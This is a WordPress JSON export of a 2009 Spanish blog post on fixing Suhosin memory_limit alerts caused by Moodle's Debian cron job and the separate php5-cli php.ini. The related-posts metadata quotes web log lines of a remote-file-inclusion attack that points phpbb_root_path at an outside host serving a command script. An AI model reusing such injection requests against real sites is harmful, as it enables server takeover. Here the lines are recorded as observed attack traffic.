{"id":633,"date":"2009-03-13T08:23:58","date_gmt":"2009-03-13T08:23:58","guid":{"rendered":"http:\/\/blografia.net\/vicm3\/?p=633"},"modified":"2009-03-13T08:23:58","modified_gmt":"2009-03-13T08:23:58","slug":"debian-moodle-suhosin","status":"publish","type":"post","link":"https:\/\/blografia.net\/vicm3\/2009\/03\/debian-moodle-suhosin\/","title":{"rendered":"Debian + Moodle + Suhosin"},"content":{"rendered":"<p>Resulta que viendo los headers de un sitio que frecuento (curl -i) me di cuenta que corren php-suhosin, el cual es una aproximaci\u00f3n similar a mod_security, pero sin los problemas de licenciamiento del mismo, de hecho ya alguien en otro momento me lo hab\u00eda sugerido cuando tuve que dejar atr\u00e1s mod_security cuando lo dejaron de soportar en Debian, ya que aunque considere el crear mi propio modulo y darle mantenimiento, a la larga ve\u00eda mayor problema (a\u00fan cuando me sigue gustando mas el modo que tiene mod_security de prohibir la ejecuci\u00f3n de cadenas especificas como wget algo o bash otro), as\u00ed que a principio del a\u00f1o me instale suhosin en varias de mis maquinas, esta elecci\u00f3n espec\u00edficamente por que al iniciar el a\u00f1o tenia 2 apache 1.3.x y 1 lighttpd, mod_security para empezar no sirve para mi lighty&#8230; as\u00ed que me pareci\u00f3 mejor idea proteger php que es donde la mayor causa de dolores de cabeza he tenido.<\/p>\n<p>Pues bueno que nada m\u00e1s salio Lenny aproveche para cambiar por lighttpd los apache1.3.x solo me he quedado con un Apache2 que en lo personal no me gusta demasiado, pero que le estoy dando una oportunidad, en esto estaba cuando empece a recibir una alerta del mentado suhosin.<\/p>\n<blockquote><p>\nALERT &#8211; script tried to increase memory_limit to 100663296 bytes which is above the allowed value (attacker &#8216;REMOTE_ADDR not set&#8217;, file &#8216;\/usr\/share\/moodle\/lib\/setuplib.php&#8217;, line 65)\n<\/p><\/blockquote>\n<p>Bueno resulta que la idea esta en que normalmente si uno no corre en safe_mode php los scripts pueden y muchas veces incrementan el uso de memoria, que normalmente est\u00e1 definido en \/etc\/php5\/apache2\/php.ini ,leyendo la documentaci\u00f3n de suhosin me encontr\u00e9 con que el valor por defecto de suhosin.memory_limit es 0 (parece que alguna vez soporto -1 que seria ilimitado, cosa que ya no soporta\/incluye), entonces leyendo en moodle.org y tras una busqueda en google, me encontr\u00e9 que la soluci\u00f3n mas r\u00e1pida es hacer que el valor m\u00e1ximo de memoria en php.ini y en la configuraci\u00f3n de suhosin coincidan y as\u00ed la ejecuci\u00f3n normal no deber\u00eda causar problemas, despu\u00e9s de un rato configure:<\/p>\n<p>en \/etc\/php5\/conf.d\/suhosin.ini<br \/>\nsuhosin.memory_limit = 256M<\/p>\n<p>y memory_limit = 256M<br \/> <br \/>\nen \/etc\/php5\/apache2\/php.ini<\/p>\n<p>Y sin embargo segu\u00eda recibiendo alertas cada hora, en un primer momento, como tenia cosas mas importantes que hacer y todo estaba funcionando bien, pues simplemente hice un filtro en mi thunderbird y mande esos logs a una carpeta temporal&#8230; as\u00ed se quedo como un mes, ayer que estaba leyendo desde mutt, donde no tengo definidos filtros, me costo mucho trabajo encontrar un correo que necesitaba y pues me hice a la idea a encontrar el por que segu\u00eda mand\u00e1ndome estos errores si los valores estaban ya empatados&#8230; lo primero fue aumentar el limite de suhosin y hacer restart de apache2, nada&#8230;<\/p>\n<p>Despu\u00e9s de un rato de buscar y picar por aqu\u00ed y all\u00e1 no encontr\u00e9 el mismo problema que tenia&#8230; entonces se me ocurri\u00f3 algo mas sencillo, \u00bfpor qu\u00e9 no replicar de manera manual lo que estaba ocurriendo? resulta que para que Moodle haga algunas cosas de mantenimiento y tareas peri\u00f3dicas hay que ejecutar un archivo llamado por supuesto cron.php en muchas instalaciones normalmente esto se hace con wget o curl, en ultimas versiones de Moodle se ha notado que esto puede ser convertido en un ataque de denegaci\u00f3n de servicio y se puede desactivar o a\u00f1adir contrase\u00f1a, sin embargo en Debian desde que estoy trabajando con Moodle se usa un script en \/etc\/cron.d tal cual llamado moodle:<\/p>\n<blockquote><p>\n# Regular cron jobs for the moodle package<br \/>\n00  * * * * www-data [ -f \/usr\/share\/moodle\/admin\/cron.php ] &#038;&#038; \/usr\/bin\/php -f \/usr\/share\/moodle\/admin\/cron.php > \/dev\/null\n<\/p><\/blockquote>\n<p>Que efectivamente lo que hace es con php ejecutar cron.php sin necesitar una conexion de red y por lo mismo sin exponer el archivo&#8230; y seguro m\u00e1s de uno ya encontr\u00f3 el por que de mi problema, resulta que este es otro paquete, me explico para quien no este trabajando en Debian para utilizar php5 se necesita libapache2-mod-php5 que tiene su configuraci\u00f3n en \/etc\/php5\/php.ini , para ejecutar ese crontab se necesita php5-cli que resulta tiene su propio php.ini en \/etc\/php\/cli\/php.ini ,este ultimo era el que estaba peleado con suhosin y que estaba causando tanto problema, su limite de memoria estaba en 32M, lo cual es muy por debajo de los 256 que estaba permitiendo&#8230; una vez puse los 2 php.ini de acuerdo con suhosin&#8230; ya me he deshecho del molesto error<\/p>\n<p>En especial se me ocurri\u00f3 escribir al respecto, por que vi en moodle.org algunos hilos con preguntas similares, pero ninguno sobre la configuraci\u00f3n de Debian en especifico (es decir esta combinaci\u00f3n) y no faltara quien no este demasiado familiarizado con la configuraci\u00f3n y no va a ser sencillo dar con el problema (bueno ahora tal vez si).<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Resulta que viendo los headers de un sitio que frecuento (curl -i) me di cuenta que corren php-suhosin, el cual es una aproximaci\u00f3n similar a mod_security, pero sin los problemas de licenciamiento del mismo, de hecho ya alguien en otro &hellip; <a href=\"https:\/\/blografia.net\/vicm3\/2009\/03\/debian-moodle-suhosin\/\">Sigue leyendo <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"advanced_seo_description":"","jetpack_seo_html_title":"","jetpack_seo_noindex":false,"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[1],"tags":[],"class_list":["post-633","post","type-post","status-publish","format-standard","hentry","category-sin-categoria"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack-related-posts":[{"id":161,"url":"https:\/\/blografia.net\/vicm3\/2005\/11\/mod_security\/","url_meta":{"origin":633,"position":0},"title":"mod_security","author":"vicm3","date":"3 noviembre, 2005","format":false,"excerpt":"Tenia rato que quer\u00eda implementar mod_security en apache, la pregunta directa seria \u00bfpara que? Bueno en varias de mis maquinas tengo que correr aplicaciones php y\/o html que est\u00e1n expuestas a ataques de inyecci\u00f3n de SQL, variables, etc., y pues creo que es mas sencillo el usar el modulo para\u2026","rel":"","context":"En \u00abSin categor\u00eda\u00bb","block_context":{"text":"Sin categor\u00eda","link":"https:\/\/blografia.net\/vicm3\/category\/sin-categoria\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":277,"url":"https:\/\/blografia.net\/vicm3\/2006\/04\/mod_security-2\/","url_meta":{"origin":633,"position":1},"title":"Mod_security","author":"vicm3","date":"26 abril, 2006","format":false,"excerpt":"En algun momento mencione algo de esto... y la razon de por que lo estaba poniendo en mis maquinas... un buen ejemplo paso hace poco que no tenia oportunidad de actualizar una aplicaci\u00f3n pero existia una manera de explotarla pero yo no podia parcharla hasta estar seguro, esto me planteaba\u2026","rel":"","context":"En \u00abSin categor\u00eda\u00bb","block_context":{"text":"Sin categor\u00eda","link":"https:\/\/blografia.net\/vicm3\/category\/sin-categoria\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":440,"url":"https:\/\/blografia.net\/vicm3\/2007\/07\/robots_defacers\/","url_meta":{"origin":633,"position":2},"title":"Robots defacers","author":"vicm3","date":"10 julio, 2007","format":false,"excerpt":"A ultimas fechas me he encontrado con que los defacers y\/o script kiddies ya tienen unos scripts (valga la rebusnancia), automatizados en perl [code='Bash'] dominioatacado.com:75.126.134.16 - - [10\/Jul\/2007:01:34:30 -0500] \"GET \/guruforo\/index.php\/modules\/Forums\/admin\/admin_styles.php?phpb b_root_path=http:\/\/floydz.imess.net\/cmd.txt? HTTP\/1.1\" 200 56485 \"-\" \"libwww-perl\/5.805\" dominioatacado.com:75.126.134.16 - - [10\/Jul\/2007:10:07:56 -0500] \"GET \/guruforo\/index.php\/MOD_forum_fields_parse.php?phpbb_root_path =http:\/\/floydz.imess.net\/cmd.txt? HTTP\/1.1\" 200 56480 \"-\" \"libwww-perl\/5.805\"\u2026","rel":"","context":"En \u00abSin categor\u00eda\u00bb","block_context":{"text":"Sin categor\u00eda","link":"https:\/\/blografia.net\/vicm3\/category\/sin-categoria\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":292,"url":"https:\/\/blografia.net\/vicm3\/2006\/05\/respuesta_a_un_post\/","url_meta":{"origin":633,"position":3},"title":"Respuesta a un post","author":"vicm3","date":"28 mayo, 2006","format":false,"excerpt":"En un foro que probablemente implemento mod_security y esta filtrando contenido con comandos de linux. el problem parece estar en estas lineas, cambie el formato para ver si me deja mostrar algo... May 21 12:21:56 localhost kernel: 201.140.53.38 sent an invalid ICMP type 3, cod e 1 error to a\u2026","rel":"","context":"En \u00abSin categor\u00eda\u00bb","block_context":{"text":"Sin categor\u00eda","link":"https:\/\/blografia.net\/vicm3\/category\/sin-categoria\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":2681,"url":"https:\/\/blografia.net\/vicm3\/2025\/08\/debian-13-trixie\/","url_meta":{"origin":633,"position":4},"title":"Debian 13 Trixie","author":"vicm3","date":"22 agosto, 2025","format":false,"excerpt":"Hemos actualizado casi todo a la versi\u00f3n estable de Debian, totalmente recomendable leer los release notes, como en todo cambio de este tipo ya que vienen varias advertencias de los cambios y modificaciones, por ahora solo una m\u00e1quina que realmente corre un php viejo voy a esperar a que termine\u2026","rel":"","context":"En \u00abDebian\u00bb","block_context":{"text":"Debian","link":"https:\/\/blografia.net\/vicm3\/category\/debian\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":1050,"url":"https:\/\/blografia.net\/vicm3\/2013\/05\/debian-7-0-wheezy\/","url_meta":{"origin":633,"position":5},"title":"Debian 7.0 Wheezy","author":"vicm3","date":"5 mayo, 2013","format":false,"excerpt":"Y bueno ayer, como hab\u00eda sido anunciado [1] se liber\u00f3 Wheezy (Debian 7.0) [2] despu\u00e9s de un buen rato, indispensable si piensas actualizar leer las notas de la versi\u00f3n (rel\u00e9ase notes) [3] o la gu\u00eda de instalaci\u00f3n si lo piensas instalar desde cero [4], en todo caso en mi desktop\u2026","rel":"","context":"En \u00abDebraye\u00bb","block_context":{"text":"Debraye","link":"https:\/\/blografia.net\/vicm3\/category\/debraye\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]}],"_links":{"self":[{"href":"https:\/\/blografia.net\/vicm3\/wp-json\/wp\/v2\/posts\/633","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blografia.net\/vicm3\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blografia.net\/vicm3\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blografia.net\/vicm3\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/blografia.net\/vicm3\/wp-json\/wp\/v2\/comments?post=633"}],"version-history":[{"count":0,"href":"https:\/\/blografia.net\/vicm3\/wp-json\/wp\/v2\/posts\/633\/revisions"}],"wp:attachment":[{"href":"https:\/\/blografia.net\/vicm3\/wp-json\/wp\/v2\/media?parent=633"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blografia.net\/vicm3\/wp-json\/wp\/v2\/categories?post=633"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blografia.net\/vicm3\/wp-json\/wp\/v2\/tags?post=633"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}